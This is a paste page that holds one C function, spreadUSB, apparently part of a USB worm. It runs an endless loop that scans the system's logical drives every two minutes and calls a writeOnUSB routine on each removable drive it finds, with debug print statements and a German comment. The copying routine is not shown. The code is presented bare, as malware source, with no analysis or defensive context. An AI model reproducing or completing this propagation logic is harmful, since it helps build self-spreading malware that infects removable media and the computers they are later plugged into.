All pastes #840155 Raw Edit

Zeug

public text v1 · immutable
#840155 ·published 2007-12-31 15:23 UTC
rendered paste body
DWORD WINAPI spreadUSB(){
	while(1){
		Sleep(120000);
		printf("Starting scan\r\n");
		char chckDrv[1024];
		if((GetLogicalDriveStrings(sizeof(chckDrv), chckDrv)) != 0){
			int i = 0;
			char word[1024];
			int j = 0;
			for(i = 0; i < 1024; i++){
				if(chckDrv[i] != '\0'){
					word[j] = chckDrv[i];
					j++;
				}else{
					word[j] = '\0';
					j = 0;
					printf("word: %s\r\n", word);
					//if(GetDriveType(word) == DRIVE_REMOVABLE || GetDriveType(word) == DRIVE_CDROM){
					if(GetDriveType(word) == DRIVE_REMOVABLE){
						writeOnUSB(word);
					}
					// Wenn keine Laufwerde mehr folgen finden wir '\0\0'
					if(chckDrv[i] == '\0' && chckDrv[i+1] == '\0')
						i = 1024;
				}
			}
		}
		printf("finished scan\r\n");
	}
}